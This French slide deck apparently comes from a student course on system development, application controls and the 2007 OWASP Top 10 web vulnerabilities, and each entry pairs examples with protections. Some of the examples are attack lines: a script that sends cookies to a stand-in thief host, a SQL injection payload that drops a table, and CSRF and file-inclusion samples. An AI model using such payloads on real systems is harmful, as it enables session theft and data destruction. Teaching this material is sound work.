Systemes, contrôle d'applications et sécurité WEB

Développement et modification des systèmes SÉCURITÉ WEB CONTRÔLES D’APPLICATIONs Isabelle Chrun Frédérick J. Fortin Pierre-Luc Soucy

Développement et modification des systèmes

Le modèle Waterfall

Analyse des besoins

Étude de faisabilité

Opportunités et menaces

Budget

Meilleur moment pour effectuer des changements

Composition des différentes composantes

Composition de algorithmes de système

Codage du système

Tests et debugging

Très important et souvent négligé

Améliore la sécurité du programme

Repère les erreurs

Possibilité d’automatiser

Regression testing

S’assurer de faire le suivi des demandes de changements et des modifications elles-mêmes

Garder en tête que chaque modification peut amener d’autres bugs .

Le modèle itératif

Conseils de gestion appliquée

Bien documenter chaque étape du processus

Prévoir les rôles et responsabilités de tous les intervenants

Développer une procédure de déploiement

(pour passer de la phase test à la production)

Prévoir une procédure pour les changements d’urgence

Outils intéressants

Gestion des demandes de modifications et des bogues

TRAC

Bugzilla

Gestion des modifications

Concurrent Version System (CVS)

Subversion (SVN)

Global Information Tracker (GIT)

Audits de codes automatisés

Fortify

Les contrôles d’applications

Deux approches traditionnelles de contrôle

La 1 ère approche

La plupart des programmeurs ont le droit de mettre à jour la librairie de production

+ Réduction de la bureaucratie

+ Réduction des délais

+ Amélioration de la productivité

- Grand risque d’erreur, d’attaque intentionnelle ou non

Le 2 ème approche

Seul le bibliothécaire a accès à la mise à jour de la librairie de production

+ Meilleur contrôle

+ Diminution du risque

- Augmentation du délai de traitement

Les risques associés à ces deux approches

Programme de sécurité inadéquat

Instruction de programme erronée

Le fait que le système ne convient pas à l’organisation

Difficile de détecter les erreurs et irrégularités

Perte accidentelle de programme

Changements conflictuels fait au même moment sur le même programme

Une approche plus actuelle …

Conseils de gestion appliquée

Mettre en place un audit des changements de code en production pour détecter les changements non autorisés

Faire effectuer des audits par des vérificateurs externes

Points de contrôle importants à considérer

Plus le nombre d’interventions humaines est grand, plus le risque d’erreur est élevé

Des formulaires bien conçus réduisent le nombre d’erreur

Ne pas passer automatiquement d’un champ à l’autre

Utiliser les couleurs de manière cohérente

Ne pas utiliser des codes avec des caractères trop semblables: certains caractères sont à éviter : B et 8, O et 0, I et 1, S et 5, Z et 2, V et N et Y

Check Digits : utiles, mais overhead

Calculer des totaux pour les batchs pour détecter les erreurs

S’assurer de mettre en place un log détaillé des différentes actions effectuées

Prévoir des messages d’erreur clairs

Les applications Web sécuritaires

OWASP Isabelle Chrun B.A.A, Frédérick J. Fortin B.A.A, Pierre-Luc Soucy B. Ing

Communauté destinée à améliorer la sécurité des logiciels

Supportée par plusieurs grandes entreprises

Microsoft

Symantec

Publie un classement des principales vulnérabilités des applications web

Dernière édition date de 2007

En constante évolution

Description

Impacts

Exemples

Mesures de protection

Top 10 OWASP

XSS

Injections

Malicious file execution

Insecure direct object reference

CSRF

Information leakage

Broken session management

Insecure cryptographic storage

Insecure communication

Failure to restrict URL access

Top 10 de 2007

Cross-site Scripting

Permet d’injecter du code sur un site et de le faire exécuter par ses visiteurs

Usurpation d’identité

Attaques virales

#1 - XSS

Forum de discussion qui permet à ses usagers d’entrer du code HTML dans leurs messages:

Il fait <b>très</b> beau!

Devient: il fait très beau!

Si on permet le HTML, peut-on aussi mettre du JavaScript?

#1 - XSS

Dans certains cas, oui!

Il fait <b>très</b> beau <script language=‘javascript’>document.write(‘<img src= “ http://www.voleur.com/get_cookie.php?c=‘ +cookieData+’”>’);</script>

Permet d’usurper la session de l’usager

#1 - XSS

Attaques virales

Exemple de Samy avec MySpace: 1 million d’usagers infectés en 20 heures

#1 - XSS

Protection

Vérifier le input

Encoder le output

Se méfier des différents encodages de caractères

#1 - XSS

L’injection consiste à faire exécuter des commandes non prévues par le système.

Existe sous plusieurs formes, la plus commune étant l’injection SQL.

#2 - Injections

Exemple:

SELECT * FROM students WHERE id=$id

On met le $id à 3; DROP TABLE students

Deux commandes sont exécutées:

SELECT * FROM students WHERE id=3;

DROP TABLE students;

On vient de perdre notre table d’étudiants!

#2 - Injections

Impacts

Destruction de données

Ajout de contenu malicieux à des sites Web

Vols de données (e.g. cartes de crédit)

#2 - Injections

Protection

Filtrer l’input

Faire des requêtes paramétrées

Principe du moindre privilège

#2 - Injections

Vuln érabilité qui permet à un usager malicieux de spécifier un fichier à exécuter sur le serveur

Permet d’exécuter du code malicieux et d’installer des virus.

#3 - Malicious file execution

Exemple:

barcode.php?filename=code128.php

include $_GET[‘filename’];

Si l’usager change le nom du fichier dans l’URL, il peut inclure n’importe quel fichier

Pire encore, si le site permet d’y téléverser son propre contenu

Protection

Faire une whitelist des fichiers qui peuvent être inclus

Bien séparer les différentes applications sur le serveur pour éviter qu’une vulnérabilité dans une application les affecte toutes

Consiste à exposer une référence à un objet interne (fichier inclus, clé de base de données, etc.) dans une URL ou comme paramètre dans un formulaire.

Dangers

Peut permettre l’exécution de code arbitraire

Peut permettre l’accès à des informations qui devraient être protégées

#4 - Insecure direct object references

Exemple:

view_cart.php?cart_id=123456

Permet de voir mon panier d’achats, le #123456

Mais si je change ça pour un autre numéro, je peux voir le panier de quelqu’un d’autre

Exemple plus grave:

GST Office en Australie (2000)

Quelqu’un enregistrait sa petite entreprise et a réalisé que son numéro d’entreprise était présent dans l’URL

Il a changé le # et a réussi à accéder aux informations confidentielles d’autres entreprises

17 000 dossiers compromis

Protection

Éviter d’exposer directement nos références aux usagers

Valider chaque référence et s’assurer que l’usager a la permission d’y accéder

Permet de profiter du fait que la plupart des sites Web ne basent leur authentification que sur un cookie (et parfois l’adresse IP)

Inclusion de code sur un site qui permet d’exécuter une action sur un autre site, si l’usager est connecté

#5 - CSRF

Exemple: le code suivant est inclus sur un site que je visite:

<img src=

"http://www.monsite.com/account.php?action=logout">

En chargeant ce site, l’adresse pour se déconnecter sur mon site sera appelée. Comme je suis déjà connecté sur mon site, l’action sera exécutée sans erreur, et sans que je m’en rende compte.

#5 - CSRF

Autres exemples, plus graves:

Changement de mot de passe

Transfert de fonds d’un compte de banque à un autre (ING Direct US (2008))

#5 - CSRF

Protection

Protéger le site contre les attaques XSS

Utiliser des tokens uniques (e.g. fda09jfds932nncasoho32) sur les formulaires. Si le token n’est pas présent/invalide sur la requête de transfert de fonds, par exemple, on la rejette.

#5 - CSRF

Fuite d’informations par des applications via les messages d’erreurs

Structure de l’état interne

Erreurs de débogage

#6 - Information Leakage and Improper Error Handling

Impacts

Révèle des détails utiles pour exploiter une vulnérabilité

Les hackers peuvent utiliser l’information des messages d’erreur

Protection

S’assurer que l’équipe de développement partage une approche commune à la manipulation des exceptions

Désactiver ou limiter la manipulation des erreurs

Serveurs de développement/test

Serveurs de production/public

Impacts

Défaillance de protéger les identités et les sessions durant leur cycle de vie

Créer le détournement de comptes d’usagers ou d’administrateur

Ébranler les contrôles d’autorisation et de responsabilités

Amener une violation de la vie privée

#7 - Broken Authentication and Session Management

Exemple de login

Exemple de logout

Exemple de logout

Protection

Utiliser uniquement le mécanisme de gestion intrinsèque des sessions

Utiliser un mécanisme d’authentification unique correspondant au niveau de sécurité nécessaire

Ne pas permettre au processus de connexion ( login ) de démarrer sur une page non encryptée

S’assurer que chaque page ait un logout link

Utiliser une période timeout

#7 - Broken Authentication and Session Management

Stockage de données

Échec d’encrypter des données confidentielles

Applications contenant fréquemment de la cryptographie pauvrement conçue

Cryptogramme inapproprié ou erreurs d’utilisation

#8 - Insecure Cryptographic Storage

Causes

Utiliser des algorithmes faits maison ou désuets (MD5, SHA-1, RC3, RC4, etc.)

Hard coder les clés et conserver à des places non protégées

Mots de passe non chiffrés dans la BD

Usagers utilisent habituellement les mêmes mots de passe sur plusieurs sites

Métaphore de la maison protégée?

Protection

Ne pas créer ses propres algorithmes de chiffrement

Ne pas utiliser d’algorithmes désuets

Générer les clés offline et conserver les clés privées avec la plus haute précaution

S’assurer que les données encryptées conservées sur le disque ne sont pas faciles à décrypter

Transfert d’information

Échec fréquent d’encrypter le trafic du réseau pour protéger les communications confidentielles

http VS https

entreprises ayant des serveurs dans plusieurs villes

#9 - Insecure Communications

Impacts

Un hacker peut accéder aux conversations dans le réseau

Un hacker installera rapidement un outil pour capturer les identités des autres systèmes

Protection

La plus importante protection est d’utiliser SSL sur toutes connexions authentifiées

#10 - Failure to Restrict URL Access

Fréquemment, la seule protection pour un URL est que les liens vers cette page ne soient pas visibles aux usagers non autorisés.

Cependant, un hacker talentueux (ou chanceux) peut trouver et accéder ces pages.

Impact

L’attaque primaire est le forced browsing

Deviner les liens

http://www.new.facebook.com/home.php?ref=logo#/photo.php?pid=30033863&id=149300365

http://www.new.facebook.com/home.php?ref=logo#/photo.php?pid=3003386 4 &id=149300365

http://www.new.facebook.com/home.php?ref=logo#/photo.php?pid=3003386 5 &id=149300365

Protection

S’assurer que tous les URLs et les fonctions de gestion sont protégées par un mécanisme de contrôle d’accès effectif

Ne pas assumer que les usagers ignorent les URLs ou APIs spéciaux ou cachés

Bloquer l’accès à tous les types de fichiers que l’application ne devrait jamais servir

Free and open application security community

http://www.owasp.org

OWASP

Nombreuses vulnérabilités auxquelles on doit porter attention

Coût moyen d’une brèche de données: 200$ par fiche compromise / 6 millions total ( Ponemon Institute , 2009)

Obligations pour les cybercommerçants de maintenir des applications Web sécuritaires (PCI DSS) Payment Card Industry Data Security Standards

Sécurité des applications Web

En conclusion …

« The best way to prevent Web application attacks is through education and vigilance . Developers should be educated in secure coding practices, and management should be educated in the risks involved with taking a system live before it has been thoroughly tested . » [ Tipton Krauss, chapitre 91 ]